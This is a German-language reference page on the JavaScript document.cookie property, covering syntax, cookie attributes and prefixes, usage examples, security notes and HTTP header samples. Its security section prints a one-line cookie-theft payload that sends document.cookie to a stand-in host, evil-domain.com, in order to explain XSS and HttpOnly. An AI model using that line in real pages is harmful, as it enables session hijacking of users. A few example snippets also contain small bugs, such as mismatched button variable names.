Dokument: Cookie-Eigenschaft

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2019.

Die Document-Eigenschaft cookie ermöglicht das Lesen und Schreiben von Cookies, die mit dem Dokument verbunden sind. Es dient als Getter und Setter für die tatsächlichen Werte der Cookies.

Syntax

Alle von diesem Standort zugänglichen Cookies lesen

js
allCookies = document.cookie;

Im obigen Code ist allCookies ein String, der eine durch Semikolons getrennte Liste aller Cookies enthält (d.h. key=value-Paare). Beachten Sie, dass jedes key und value von Leerzeichen (z. B. Leerzeichen und Tabulatorzeichen) umgeben sein kann: Tatsächlich verlangt RFC 6265 ein einzelnes Leerzeichen nach jedem Semikolon, aber einige Benutzeragenten halten sich möglicherweise nicht daran.

js
document.cookie = newCookie;

Im obigen Code ist newCookie ein String in der Form key=value, der das zu setzende/aktualisierende Cookie spezifiziert. Beachten Sie, dass Sie mit dieser Methode nur ein einzelnes Cookie gleichzeitig setzen/aktualisieren können. Beachten Sie auch, dass:

  • Jeder der folgenden Cookie-Attributwerte kann optional dem Key-Value-Paar folgen, jeweils vorangestellt von einem Semikolon-Trenner:

    • ;domain=domain (z.B. example.com oder subdomain.example.com): Der Host, an den das Cookie gesendet wird. Wenn nicht angegeben, wird der Hostteil der aktuellen Dokumentlokation als Standard verwendet und das Cookie ist nicht auf Subdomains verfügbar. Wenn eine Domain angegeben ist, sind Subdomains immer eingeschlossen. Im Gegensatz zu früheren Spezifikationen werden führende Punkte in Domainnamen ignoriert, aber Browser können das Setzen des Cookies mit solchen Punkten ablehnen.

      Hinweis: Die Domain muss mit der Domain des JavaScript-Ursprungs übereinstimmen. Das Setzen von Cookies auf fremde Domains wird stillschweigend ignoriert.

    • ;expires=date-in-UTCString-format: Das Ablaufdatum des Cookies. Wenn weder expires noch max-age angegeben ist, wird es am Ende der Sitzung ablaufen.

      Warnung: Wenn die Privatsphäre der Benutzer ein Anliegen ist, ist es wichtig, dass jede Web-App-Implementierung Cookie-Daten nach einer bestimmten Zeitspanne ungültig macht, anstatt sich darauf zu verlassen, dass der Browser dies tut. Viele Browser ermöglichen es den Benutzern, festzulegen, dass Cookies niemals ablaufen sollen, was nicht unbedingt sicher ist.

      Siehe Date.toUTCString() für Hilfe beim Formatieren dieses Wertes.

    • ;max-age=max-age-in-seconds: Das maximale Alter des Cookies in Sekunden (z.B. 60*60*24*365 oder 31536000 für ein Jahr).

    • ;partitioned: Gibt an, dass das Cookie unter Verwendung von partitioniertem Speicher gespeichert werden sollte. Siehe Cookies Having Independent Partitioned State (CHIPS) für mehr Details.

    • ;path=path: Der Wert des Path-Attributs des Cookies (Siehe Bestimmen, wo Cookies gesendet werden für mehr Informationen).

    • ;samesite: Das SameSite-Attribut eines Set-Cookie Headers kann von einem Server gesetzt werden, um festzulegen, wann das Cookie gesendet wird. Mögliche Werte sind lax, strict oder none (siehe auch Steuerung von Drittanbieter-Cookies mit SameSite).

      • Der Wert lax sendet das Cookie bei allen gleichseitigen Anfragen und Top-Level-Navigations-GET-Anfragen. Dies ist ausreichend für die Benutzerverfolgung, verhindert jedoch viele Cross-Site Request Forgery (CSRF)-Angriffe. Dies ist der Standardwert in modernen Browsern.
      • Der Wert strict verhindert, dass das Cookie vom Browser in allen cross-site Browsing-Kontexten an die Zielseite gesendet wird, sogar wenn einem regulären Link gefolgt wird.
      • Der Wert none gibt explizit an, dass keine Einschränkungen angewendet werden. Das Cookie wird in allen Anfragen gesendet - sowohl cross-site als auch gleichseitig.

    • ;secure: Gibt an, dass das Cookie nur über ein sicheres Protokoll übertragen werden sollte.

  • Der Cookie-Wert-String kann encodeURIComponent() verwenden, um sicherzustellen, dass der String keine Kommas, Semikolons oder Leerzeichen enthält (welche in Cookie-Werten nicht zulässig sind).

  • Einige Benutzeragenten-Implementierungen unterstützen die folgenden Cookie-Präfixe:

    • __Secure- Signalisiert dem Browser, dass er das Cookie nur in Anfragen über einen sicheren Kanal einbeziehen sollte.
    • __Host- Signalisiert dem Browser, dass zusätzlich zur Beschränkung der Verwendung des Cookies nur von einem sicheren Ursprung der Umfang des Cookies auf ein vom Server übergebenes Pfadattribut beschränkt ist. Wenn der Server das Pfadattribut weglässt, wird das "Verzeichnis" der Anforderungs-URI verwendet. Es signalisiert auch, dass das Domainattribut nicht vorhanden sein darf, was verhindert, dass das Cookie an andere Domains gesendet wird. Für Chrome muss das Pfadattribut immer der Ursprung sein.

    Hinweis: Der Bindestrich wird als Teil des Präfixes angesehen.

    Hinweis: Diese Flags können nur mit dem secure Attribut gesetzt werden.

Hinweis: Wie Sie aus dem obigen Code sehen können, ist document.cookie eine Accessor-Eigenschaft mit nativen Setter- und Getter-Methoden und ist folglich keine Daten-Eigenschaft mit einem Wert: was Sie schreiben, ist nicht das, was Sie lesen, alles wird immer durch den JavaScript-Interpreter vermittelt.

Beispiele

Beispiel 1: Einfache Nutzung

html
<button id="show">Show cookies</button>
<button id="clear">Clear</button>
<div>
  <code id="cookie-value"></code>
</div>
js
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

showBtn.addEventListener("click", () => {
  output.textContent = `> ${document.cookie}`;
});
cleanBtn.addEventListener("click", () => {
  output.textContent = "";
});
html
<button id="show">Show cookie value</button>
<button id="clear">Clear</button>
<div>
  <code id="cookie-value"></code>
</div>
js
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";

showBtn.addEventListener("click", () => {
  const cookieValue = document.cookie
    .split("; ")
    .find((row) => row.startsWith("test2="))
    ?.split("=")[1];
  output.textContent = `> ${cookieValue}`;
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});

Beispiel 3: Etwas nur einmal tun

Um den folgenden Code zu verwenden, ersetzen Sie bitte alle Vorkommen des Wortes doSomethingOnlyOnce (der Name des Cookies) mit einem benutzerdefinierten Namen.

html
<button id="do-once">Only do something once</button>
<button id="clear">Clear</button>
<div>
  <code id="output"></code>
</div>
js
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");

doOnceBtn.addEventListener("click", () => {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    // Note that we are setting `SameSite=None;` in this example because the example
    // needs to work cross-origin.
    // It is more common not to set the `SameSite` attribute, which results in the default,
    // and more secure, value of `SameSite=Lax;`
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    output.textContent = "> Do something here!";
  }
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});
html
<button id="reset">Reset only once cookie</button>
<button id="clear">Clear</button>
<div>
  <code id="output"></code>
</div>
js
const resetBtn = document.getElementById("reset");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");

resetBtn.addEventListener("click", () => {
  // Note that we are setting `SameSite=None;` in this example because the example
  // needs to work cross-origin.
  // It is more common not to set the `SameSite` attribute, which results in the default,
  // and more secure, value of `SameSite=Lax;`
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";

  const output = document.getElementById("reset-once");
  output.textContent = "> Reset!";
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});

Beispiel 5: Vorhandensein eines Cookies überprüfen

html
<button id="check">Check a cookie exists</button>
<button id="clear">Clear</button>
<div>
  <code id="output"></code>
</div>
js
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");

// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";

checkBtn.addEventListener("click", () => {
  if (
    document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
  ) {
    output.textContent = '> The cookie "reader" exists';
  } else {
    output.textContent = '> The cookie "reader" does not exist';
  }
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});
html
<button id="check">Check that a cookie has a specific value</button>
<button id="clear">Clear</button>
<div>
  <code id="output"></code>
</div>
js
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");

checkBtn.addEventListener("click", () => {
  if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
    output.textContent = '> The cookie "reader" has a value of "1"';
  }
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});

Sicherheit

Es ist wichtig zu beachten, dass das path-Attribut nicht vor unbefugtem Lesen des Cookies von einem anderen Pfad schützt. Es kann leicht durch das DOM umgangen werden, indem beispielsweise ein verstecktes <iframe>-Element mit dem Pfad des Cookies erstellt und dann auf die contentDocument.cookie-Eigenschaft dieses iframes zugegriffen wird. Der einzige Weg, das Cookie zu schützen, besteht darin, eine andere Domain oder Subdomain zu verwenden, aufgrund der Same-Origin-Policy.

Cookies werden häufig in Webanwendungen verwendet, um einen Benutzer und seine authentifizierte Sitzung zu identifizieren. Das Stehlen eines Cookies von einer Webanwendung führt zum Hijacking der authentifizierten Benutzersitzung. Gängige Methoden zum Stehlen von Cookies beinhalten den Einsatz von Social Engineering oder das Ausnutzen einer Cross-Site Scripting (XSS)-Schwachstelle in der Anwendung -

js
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;

Das HTTPOnly-Cookie-Attribut kann helfen, diesen Angriff abzumildern, indem es den Zugriff auf den Cookie-Wert über JavaScript verhindert. Lesen Sie mehr über Cookies und Sicherheit.

Anmerkungen

  • Ab Firefox 2 steht ein besserer Mechanismus zur clientseitigen Speicherung zur Verfügung - WHATWG DOM Storage.
  • Sie können ein Cookie löschen, indem Sie seine Ablaufzeit auf null setzen.
  • Beachten Sie, dass je mehr Cookies Sie haben, desto mehr Daten zwischen dem Server und dem Client bei jeder Anfrage übertragen werden. Dies wird jede Anforderung verlangsamen. Es wird dringend empfohlen, WHATWG DOM Storage zu verwenden, wenn Sie "nur-client-seitige" Daten behalten möchten.
  • RFC 2965 (Abschnitt 5.3, "Implementierungslimits") spezifiziert, dass es keine maximale Länge für die Größe eines Cookie-Schlüssels oder -Werts geben sollte und ermutigt Implementierungen, beliebig große Cookies zu unterstützen. Das maximale Implementierungslimit jedes Browsers wird notwendigerweise unterschiedlich sein, daher beziehen Sie sich auf die jeweilige Browserdokumentation.

Der Grund für die Syntax der document.cookie Accessor-Eigenschaft liegt in der Client-Server-Natur von Cookies, die sich von anderen client-seitigen Speicherverfahren (wie z.B. localStorage) unterscheidet:

bash
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

Der Client sendet seine zuvor gespeicherten Cookies zurück an den Server

bash
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

Spezifikationen

Specification
HTML
# dom-document-cookie

Browser-Kompatibilität

Siehe auch